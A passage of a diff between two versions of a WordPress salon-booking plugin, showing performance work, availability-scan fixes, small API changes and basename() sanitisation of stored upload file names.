individually.\n+        $bookingIds = wp_list_pluck( $posts, 'ID' );\n+        update_meta_cache( 'post', $bookingIds );\n+\n+        \u002F\u002F Collect unique service post IDs now that booking meta is cached.\n+        $serviceIds = array();\n+        foreach ( $posts as $post ) {\n+            $services = get_post_meta( $post->ID, '_sln_booking_services', true );\n+            if ( is_array( $services ) ) {\n+                foreach ( $services as $s ) {\n+                    if ( ! empty( $s['service'] ) ) {\n+                        $serviceIds[] = (int) $s['service'];\n+                    }\n+                }\n+            }\n+        }\n+\n+        \u002F\u002F Pass 2: prime ALL service post meta in one SQL query so that the\n+        \u002F\u002F lock\u002Foffset checks below never touch the database per-service.\n+        if ( ! empty( $serviceIds ) ) {\n+            update_meta_cache( 'post', array_unique( $serviceIds ) );\n+        }\n+\n+        \u002F\u002F Main loop — every get_post_meta() call is now served from cache.\n         foreach ($posts as $post) {\n             foreach (get_post_meta($post->ID, '_sln_booking_services', true) as $service) {\n                 $service = $service['service'];\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FRepository\u002FResourceRepository.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FRepository\u002FResourceRepository.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FRepository\u002FResourceRepository.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FRepository\u002FResourceRepository.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,68 +1,68 @@\n-\u003C?php\r\n-\r\n-class SLN_Repository_ResourceRepository extends SLN_Repository_AbstractWrapperRepository\r\n-{\r\n-    private $resources;\r\n-\r\n-    public function getWrapperClass()\r\n-    {\r\n-        return SLN_Wrapper_Resource::_CLASS;\r\n-    }\r\n-\r\n-    protected function processCriteria($criteria)\r\n-    {\r\n-        $criteria = apply_filters('sln.repository.resource.processCriteria', $criteria);\r\n-        return parent::processCriteria($criteria);\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Wrapper_Service[]\r\n-     *\u002F\r\n-    public function getAll()\r\n-    {\r\n-        if (!defined('SLN_VERSION_PAY') || !SLN_VERSION_PAY || !SLN_Plugin::getInstance()->getSettings()->isResourcesEnabled()) {\r\n-            return array();\r\n-        }\r\n-\r\n-        if ( ! isset($this->resources)) {\r\n-            $this->resources = $this->get(array('post_status' => 'any'));\r\n-        }\r\n-\r\n-        return $this->resources;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Wrapper_Resource[]\r\n-     *\u002F\r\n-    public function getAllEnabled()\r\n-    {\r\n-        $ret = array();\r\n-        foreach ($this->getAll() as $s) {\r\n-            if ($s->getEnabled()) {\r\n-                $ret[] = $s;\r\n-            }\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    public function getStandardCriteria()\r\n-    {\r\n-        return $this->processCriteria(array());\r\n-    }\r\n-\r\n-    public function findByService(SLN_Wrapper_Service $service)\r\n-    {\r\n-        $ret = array();\r\n-\r\n-        foreach ($this->getAllEnabled() as $resource) {\r\n-            if (in_array($service->getId(), $resource->getServices())) {\r\n-                $ret[] = $resource;\r\n-            }\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-\r\n-}\r\n+\u003C?php\n+\n+class SLN_Repository_ResourceRepository extends SLN_Repository_AbstractWrapperRepository\n+{\n+    private $resources;\n+\n+    public function getWrapperClass()\n+    {\n+        return SLN_Wrapper_Resource::_CLASS;\n+    }\n+\n+    protected function processCriteria($criteria)\n+    {\n+        $criteria = apply_filters('sln.repository.resource.processCriteria', $criteria);\n+        return parent::processCriteria($criteria);\n+    }\n+\n+    \u002F**\n+     * @return SLN_Wrapper_Service[]\n+     *\u002F\n+    public function getAll()\n+    {\n+        if (!defined('SLN_VERSION_PAY') || !SLN_VERSION_PAY || !SLN_Plugin::getInstance()->getSettings()->isResourcesEnabled()) {\n+            return array();\n+        }\n+\n+        if ( ! isset($this->resources)) {\n+            $this->resources = $this->get(array('post_status' => 'any'));\n+        }\n+\n+        return $this->resources;\n+    }\n+\n+    \u002F**\n+     * @return SLN_Wrapper_Resource[]\n+     *\u002F\n+    public function getAllEnabled()\n+    {\n+        $ret = array();\n+        foreach ($this->getAll() as $s) {\n+            if ($s->getEnabled()) {\n+                $ret[] = $s;\n+            }\n+        }\n+\n+        return $ret;\n+    }\n+\n+    public function getStandardCriteria()\n+    {\n+        return $this->processCriteria(array());\n+    }\n+\n+    public function findByService(SLN_Wrapper_Service $service)\n+    {\n+        $ret = array();\n+\n+        foreach ($this->getAllEnabled() as $resource) {\n+            if (in_array($service->getId(), $resource->getServices())) {\n+                $ret[] = $resource;\n+            }\n+        }\n+\n+        return $ret;\n+    }\n+\n+\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FService\u002FMessages.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FService\u002FMessages.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FService\u002FMessages.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FService\u002FMessages.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -134,7 +134,13 @@\n             $attendants = array();\n \n             foreach ($tmpAttendants as $a) {\n-                $attendants[$a->getId()] = $a;\n+                if (is_array($a)) {\n+                    foreach ($a as $singleAttendant) {\n+                        $attendants[$singleAttendant->getId()] = $singleAttendant;\n+                    }\n+                } else {\n+                    $attendants[$a->getId()] = $a;\n+                }\n             }\n \n             foreach ($attendants as $attendant) {\n@@ -178,7 +184,13 @@\n             $attendants = array();\n \n             foreach ($tmpAttendants as $a) {\n-                $attendants[$a->getId()] = $a;\n+                if (is_array($a)) {\n+                    foreach ($a as $singleAttendant) {\n+                        $attendants[$singleAttendant->getId()] = $singleAttendant;\n+                    }\n+                } else {\n+                    $attendants[$a->getId()] = $a;\n+                }\n             }\n \n             foreach ($attendants as $attendant) {\n@@ -222,7 +234,13 @@\n             $attendants = array();\n \n             foreach ($tmpAttendants as $a) {\n-                $attendants[$a->getId()] = $a;\n+                if (is_array($a)) {\n+                    foreach ($a as $singleAttendant) {\n+                        $attendants[$singleAttendant->getId()] = $singleAttendant;\n+                    }\n+                } else {\n+                    $attendants[$a->getId()] = $a;\n+                }\n             }\n \n             foreach ($attendants as $attendant) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FService\u002FSms.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FService\u002FSms.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FService\u002FSms.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FService\u002FSms.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -18,7 +18,7 @@\n                 $this->plugin\n             );\n             $provider->send($number, trim($message), $sms_prefix);\n-        } catch (SLN_Action_Sms_Exception $e) {\n+        } catch (Exception $e) {\n             $this->exception = $e;\n         }\n     }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FSettings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FSettings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FSettings.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FSettings.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -130,13 +130,16 @@\n \t\treturn $this->get('time_format') ? $this->get('time_format') : SLN_Enum_TimeFormat::_DEFAULT;\n \t}\n \n-\tpublic function getSalonName() {\n+\t\u002F**\n+\t * @param SLN_Wrapper_Booking|null $booking Optional booking so add-ons (e.g. Multi-Shops) can resolve the salon name from booking meta.\n+\t *\u002F\n+\tpublic function getSalonName($booking = null) {\n \t\t$ret = $this->get('gen_name');\n \t\tif (!$ret) {\n \t\t\t$ret = get_bloginfo('name');\n \t\t}\n \n-\t\treturn apply_filters('sln.settings.get_salon_name', $ret);\n+\t\treturn apply_filters('sln.settings.get_salon_name', $ret, $booking);\n \t}\n \n \tpublic function getSalonEmail() {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -37,7 +37,7 @@\n                 $data = array_map(function($file) {\n                     return array(\n                         'subdir' => wp_upload_dir()['subdir'],\n-                        'file'   => $file,\n+                        'file'   => basename((string) $file),\n                     );\n                 }, $values[$k]);\n                 update_user_meta($errors, '_sln_'.$k, $data);\n@@ -197,7 +197,7 @@\n                 $data = array_map(function($file) {\n                     return array(\n                         'subdir' => wp_upload_dir()['subdir'],\n-                        'file'   => $file,\n+                        'file'   => basename((string) $file),\n                     );\n                 }, $data);\n             }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -34,29 +34,44 @@\n         } else {\n             $hb = $ah->getHoursBeforeHelper();\n             $fromDate = Date::create($hb->getFromDate());\n-            $count = $hb->getCountDays();\n-            \n-            \u002F\u002F PERFORMANCE: Limit date scan to prevent timeout\n-            \u002F\u002F Most bookings happen within 2-3 weeks, scanning 60+ days is excessive\n-            $maxDaysToScan = 21; \u002F\u002F Scan up to 3 weeks\n-            $count = min($count, $maxDaysToScan);\n-            \n-            while ($count > 0) { \u002F\u002Fcheck days in HoursBefore interval until we find available timeslot\n-                $times = $ah->getCachedTimes($fromDate);\n+\n+            \u002F\u002F Use getWorkTimes() instead of getCachedTimes() so that the scan is\n+            \u002F\u002F NOT gated by the max-booking-window range check.  This matters when a\n+            \u002F\u002F holiday period is longer than the window: getCachedTimes() returns\n+            \u002F\u002F empty for every day (holiday OR out-of-window), so the scanner never\n+            \u002F\u002F finds a valid slot and all assistants appear unavailable.\n+            \u002F\u002F getWorkTimes() only checks working-hour rules + global holidays, which\n+            \u002F\u002F is all we need to decide \"does this assistant ever work?\".\n+            \u002F\u002F\n+            \u002F\u002F Scan up to 21 *open* days (days the salon is actually open).\n+            \u002F\u002F Holiday\u002Fclosed days don't count against the limit.\n+            \u002F\u002F A 90-calendar-day ceiling prevents an infinite loop when there is\n+            \u002F\u002F genuinely no availability in the foreseeable future.\n+            $maxOpenDaysToScan = 21;\n+            $openDaysScanned   = 0;\n+            $calendarDaysScanned  = 0;\n+            $maxCalendarDays      = 90;\n+            $fromDateTime         = $fromDate->getDateTime(); \u002F\u002F fallback for error helper\n+\n+            while ($openDaysScanned \u003C $maxOpenDaysToScan && $calendarDaysScanned \u003C $maxCalendarDays) {\n+                $times        = $ah->getWorkTimes($fromDate);\n                 $fromDateTime = $fromDate->getDateTime();\n-                foreach ($times as $time) {\n-                    $time_obj = Time::create($time);\n-                    $fromDateTime->setTime($time_obj->getHours(), $time_obj->getMinutes());\n-                    if(!$attendant->isNotAvailableOnDate($fromDateTime)) { \u002F\u002Fif available\n-                        return;\n+\n+                if (!empty($times)) {\n+                    $openDaysScanned++; \u002F\u002F only open (non-holiday, non-closed) days count\n+                    foreach ($times as $time) {\n+                        $time_obj = Time::create($time);\n+                        $fromDateTime->setTime($time_obj->getHours(), $time_obj->getMinutes());\n+                        if (!$attendant->isNotAvailableOnDate($fromDateTime)) { \u002F\u002Fif available\n+                            return;\n+                        }\n                     }\n                 }\n \n                 $fromDate = $fromDate->getNextDate();\n-                $count--;\n+                $calendarDaysScanned++;\n             }\n             return SLN_Helper_Availability_ErrorHelper::doAttendantNotAvailable($attendant, $fromDateTime); \u002F\u002Fif available timeslot wasn't found\n-            \u002F\u002Fonly last date will be logged as unavailable\n         }\n \n         return false;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -11,7 +11,8 @@\n         SLN_TimeFunc::startRealTimezone();\n         $plugin = $this->getPlugin();\n         $bb = $plugin->getBookingBuilder();\n-        $intervals = $plugin->getIntervals($bb->getDateTime());\n+        $duration = $bb->getServices() ? \\Salon\\Util\\Time::create($bb->getDuration()) : null;\n+        $intervals = $plugin->getIntervals($bb->getDateTime(), $duration);\n         $date = $intervals->getSuggestedDate();\n         $customerTimezone = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() ? $bb->get('customer_timezone') : '';\n         \n@@ -21,7 +22,13 @@\n             $intervalsArray = $obj->getintervalsArray($customerTimezone);\n             $date = new SLN_DateTime($intervalsArray['suggestedYear'].'-'.$intervalsArray['suggestedMonth'].'-'.$intervalsArray['suggestedDay'].' '.$intervalsArray['suggestedTime']);\n             $dateTime = $customerTimezone ? (new SLN_DateTime($date, SLN_Func::createDateTimeZone($customerTimezone)))->setTimezone(SLN_DateTime::getWpTimezone()) : $date;\n-            $this->addErrors($obj->checkDateTimeServicesAndAttendants($bb->getAttendantsIds(), $dateTime));\n+            \u002F\u002F Only validate the suggested date when actual bookable dates exist.\n+            \u002F\u002F When noAvailabilityMessage is set the suggested date is a calendar-navigation\n+            \u002F\u002F hint only (e.g. first day of the current window during a holiday), not a real\n+            \u002F\u002F bookable slot — validating it would just add confusing service errors.\n+            if (empty($intervalsArray['noAvailabilityMessage'])) {\n+                $this->addErrors($obj->checkDateTimeServicesAndAttendants($bb->getAttendantsIds(), $dateTime));\n+            }\n         }else{\n             $intervalsArray = $intervals->toArray($customerTimezone);\n         }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -179,7 +179,7 @@\n                         $data = array_map(function($file) {\n                             return array(\n                                 'subdir' => wp_upload_dir()['subdir'],\n-                                'file'   => $file,\n+                                'file'   => basename((string) $file),\n                             );\n                         }, $values[$k]);\n                         update_user_meta($current_user->ID, '_sln_'.$k, $data);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,169 +1,169 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-class SLN_Shortcode_Salon_ResourceStep extends SLN_Shortcode_Salon_Step\r\n-{\r\n-\r\n-    protected function dispatchForm()\r\n-    {\r\n-        if( ! $this->getPlugin()->getSettings()->isResourcesEnabled() ) {\r\n-            return true;\r\n-        }\r\n-\r\n-        $bb = $this->getPlugin()->getBookingBuilder();\r\n-        $bb->removeResources();\r\n-\r\n-        if(empty($_POST['set_resources'])) {\r\n-            return true;\r\n-        }\r\n-\r\n-        $resources = $this->getResources();\r\n-\r\n-        $services_resources = array();\r\n-\r\n-        foreach ($bb->getServices() as $service) {\r\n-            foreach ($resources as $resource) {\r\n-                if (in_array($service->getId(), $resource->getServices())) {\r\n-                    if (!isset($services_resources[$service->getId()])) {\r\n-                        $services_resources[$service->getId()] = array();\r\n-                    }\r\n-                    $services_resources[$service->getId()][] = $resource;\r\n-                }\r\n-            }\r\n-        }\r\n-\r\n-        if ( ! $services_resources ) {\r\n-            return true;\r\n-        }\r\n-\r\n-        $bservices = $bb->getAttendantsIds();\r\n-        $date      = $bb->getDateTime();\r\n-\r\n-        $ret = $this->dispatchMultiple($bservices, $date, $services_resources);\r\n-\r\n-        if (is_array($ret)) {\r\n-            $bb->setResources($ret);\r\n-        }\r\n-\r\n-        if ($ret) {\r\n-            $bb->save();\r\n-            return true;\r\n-        } else {\r\n-            return false;\r\n-        }\r\n-    }\r\n-\r\n-    public function dispatchMultiple($services, $date, $availableResources, $selected = array())\r\n-    {\r\n-        $bb = $this->getPlugin()->getBookingBuilder();\r\n-        $ah = $this->getPlugin()->getAvailabilityHelper();\r\n-        $ah->setDate($date);\r\n-        $bookingServices = SLN_Wrapper_Booking_Services::build($services, $date, 0, $bb->getCountServices(), $bb->getResources());\r\n-\r\n-        $availResources               = null;\r\n-        $availResourcesForEachService = array();\r\n-\r\n-        foreach ($bookingServices->getItems() as $bookingService) {\r\n-            $service = $bookingService->getService();\r\n-            if (empty($availableResources[$service->getId()])) {\r\n-                continue;\r\n-            }\r\n-            $tmp = $ah->getAvailableResourcesIdsForBookingService($bookingService);\r\n-            $availResourcesForEachService[$service->getId()] = $tmp;\r\n-            if (empty($tmp)) {\r\n-                $this->addError(\r\n-                    esc_html(sprintf(\r\n-                        \u002F\u002F translators: %s will be replaced by the service name\r\n-                        __('No one of the resources isn\\'t available for %s service', 'salon-booking-system'),\r\n-                        $service->getName()\r\n-                    ))\r\n-                );\r\n-\r\n-                return false;\r\n-            } elseif (!empty($selected[$service->getId()])) {\r\n-                $resourceId  = $selected[$service->getId()];\r\n-                $hasResource = in_array($resourceId, $availResourcesForEachService[$service->getId()]);\r\n-                if (!$hasResource) {\r\n-                    $resource = $this->getPlugin()->createResource($resourceId);\r\n-                    $this->addError(\r\n-                        sprintf(\r\n-                            \u002F\u002F translators: s%1$ will be replaced by resource name, %2$s will be replaced by service name, s%3$ will be replaced by booking time\r\n-                            esc_html__('Resource %1$s isn\\'t available for %2$s service at %3$s', 'salon-booking-system'),\r\n-                            $resource->getName(),\r\n-                            $service->getName(),\r\n-                            $ah->getDayBookings()->getTime(\r\n-                                $bookingService->getStartsAt()->format('H'),\r\n-                                $bookingService->getStartsAt()->format('i')\r\n-                            )\r\n-                        )\r\n-                    );\r\n-\r\n-                    return false;\r\n-                }\r\n-            }\r\n-\r\n-        }\r\n-\r\n-        $ret = array();\r\n-\r\n-        foreach ($bookingServices->getItems() as $bookingService) {\r\n-            $service = $bookingService->getService();\r\n-\r\n-            if (empty($availableResources[$service->getId()])) {\r\n-                continue;\r\n-            }\r\n-\r\n-            if (!empty($selected[$service->getId()])) {\r\n-                $resourceId = $selected[$service->getId()];\r\n-            } else {\r\n-                $availResources = $availResourcesForEachService[$service->getId()];\r\n-                $index = mt_rand(0, count($availResources) - 1);\r\n-                $resourceId = $availResources[$index];\r\n-                $selected[$service->getId()] = $resourceId;\r\n-            }\r\n-\r\n-            if (!$resourceId) {\r\n-                $this->addError(\r\n-                    sprintf(\r\n-                        \u002F\u002F translators: s%1$ will be replaced by service name, %2$s will be replaced by booking time\r\n-                        esc_html__('There is no resources available for %1$s service at %2$s', 'salon-booking-system'),\r\n-                        $service->getName(),\r\n-                        $ah->getDayBookings()->getTime(\r\n-                            $bookingService->getStartsAt()->format('H'),\r\n-                            $bookingService->getStartsAt()->format('i')\r\n-                        )\r\n-                    )\r\n-                );\r\n-\r\n-                return false;\r\n-            }\r\n-\r\n-            $ret[$service->getId()] = $resourceId;\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Wrapper_Resource[]\r\n-     *\u002F\r\n-    public function getResources()\r\n-    {\r\n-        if (!isset($this->resources)) {\r\n-            \u002F** @var SLN_Repository_ResourceRepository $repo *\u002F\r\n-            $this->resources = $this->getPlugin()->getRepository(SLN_Plugin::POST_TYPE_RESOURCE)->getAllEnabled();\r\n-            $this->resources = apply_filters('sln.shortcode.salon.ResourceStep.getResources', $this->resources);\r\n-        }\r\n-\r\n-        return $this->resources;\r\n-    }\r\n-\r\n-    public function isValid()\r\n-    {\r\n-        $tmp = $this->getResources();\r\n-        if( ! $this->getPlugin()->getSettings()->isResourcesEnabled() || empty($tmp) ) {\r\n-            return true;\r\n-        }\r\n-        return (!empty($tmp)) && parent::isValid();\r\n-    }\r\n-\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+class SLN_Shortcode_Salon_ResourceStep extends SLN_Shortcode_Salon_Step\n+{\n+\n+    protected function dispatchForm()\n+    {\n+        if( ! $this->getPlugin()->getSettings()->isResourcesEnabled() ) {\n+            return true;\n+        }\n+\n+        $bb = $this->getPlugin()->getBookingBuilder();\n+        $bb->removeResources();\n+\n+        if(empty($_POST['set_resources'])) {\n+            return true;\n+        }\n+\n+        $resources = $this->getResources();\n+\n+        $services_resources = array();\n+\n+        foreach ($bb->getServices() as $service) {\n+            foreach ($resources as $resource) {\n+                if (in_array($service->getId(), $resource->getServices())) {\n+                    if (!isset($services_resources[$service->getId()])) {\n+                        $services_resources[$service->getId()] = array();\n+                    }\n+                    $services_resources[$service->getId()][] = $resource;\n+                }\n+            }\n+        }\n+\n+        if ( ! $services_resources ) {\n+            return true;\n+        }\n+\n+        $bservices = $bb->getAttendantsIds();\n+        $date      = $bb->getDateTime();\n+\n+        $ret = $this->dispatchMultiple($bservices, $date, $services_resources);\n+\n+        if (is_array($ret)) {\n+            $bb->setResources($ret);\n+        }\n+\n+        if ($ret) {\n+            $bb->save();\n+            return true;\n+        } else {\n+            return false;\n+        }\n+    }\n+\n+    public function dispatchMultiple($services, $date, $availableResources, $selected = array())\n+    {\n+        $bb = $this->getPlugin()->getBookingBuilder();\n+        $ah = $this->getPlugin()->getAvailabilityHelper();\n+        $ah->setDate($date);\n+        $bookingServices = SLN_Wrapper_Booking_Services::build($services, $date, 0, $bb->getCountServices(), $bb->getResources());\n+\n+        $availResources               = null;\n+        $availResourcesForEachService = array();\n+\n+        foreach ($bookingServices->getItems() as $bookingService) {\n+            $service = $bookingService->getService();\n+            if (empty($availableResources[$service->getId()])) {\n+                continue;\n+            }\n+            $tmp = $ah->getAvailableResourcesIdsForBookingService($bookingService);\n+            $availResourcesForEachService[$service->getId()] = $tmp;\n+            if (empty($tmp)) {\n+                $this->addError(\n+                    esc_html(sprintf(\n+                        \u002F\u002F translators: %s will be replaced by the service name\n+                        __('No one of the resources isn\\'t available for %s service', 'salon-booking-system'),\n+                        $service->getName()\n+                    ))\n+                );\n+\n+                return false;\n+            } elseif (!empty($selected[$service->getId()])) {\n+                $resourceId  = $selected[$service->getId()];\n+                $hasResource = in_array($resourceId, $availResourcesForEachService[$service->getId()]);\n+                if (!$hasResource) {\n+                    $resource = $this->getPlugin()->createResource($resourceId);\n+                    $this->addError(\n+                        sprintf(\n+                            \u002F\u002F translators: s%1$ will be replaced by resource name, %2$s will be replaced by service name, s%3$ will be replaced by booking time\n+                            esc_html__('Resource %1$s isn\\'t available for %2$s service at %3$s', 'salon-booking-system'),\n+                            $resource->getName(),\n+                            $service->getName(),\n+                            $ah->getDayBookings()->getTime(\n+                                $bookingService->getStartsAt()->format('H'),\n+                                $bookingService->getStartsAt()->format('i')\n+                            )\n+                        )\n+                    );\n+\n+                    return false;\n+                }\n+            }\n+\n+        }\n+\n+        $ret = array();\n+\n+        foreach ($bookingServices->getItems() as $bookingService) {\n+            $service = $bookingService->getService();\n+\n+            if (empty($availableResources[$service->getId()])) {\n+                continue;\n+            }\n+\n+            if (!empty($selected[$service->getId()])) {\n+                $resourceId = $selected[$service->getId()];\n+            } else {\n+                $availResources = $availResourcesForEachService[$service->getId()];\n+                $index = mt_rand(0, count($availResources) - 1);\n+                $resourceId = $availResources[$index];\n+                $selected[$service->getId()] = $resourceId;\n+            }\n+\n+            if (!$resourceId) {\n+                $this->addError(\n+                    sprintf(\n+                        \u002F\u002F translators: s%1$ will be replaced by service name, %2$s will be replaced by booking time\n+                        esc_html__('There is no resources available for %1$s service at %2$s', 'salon-booking-system'),\n+                        $service->getName(),\n+                        $ah->getDayBookings()->getTime(\n+                            $bookingService->getStartsAt()->format('H'),\n+                            $bookingService->getStartsAt()->format('i')\n+                        )\n+                    )\n+                );\n+\n+                return false;\n+            }\n+\n+            $ret[$service->getId()] = $resourceId;\n+        }\n+\n+        return $ret;\n+    }\n+\n+    \u002F**\n+     * @return SLN_Wrapper_Resource[]\n+     *\u002F\n+    public function getResources()\n+    {\n+        if (!isset($this->resources)) {\n+            \u002F** @var SLN_Repository_ResourceRepository $repo 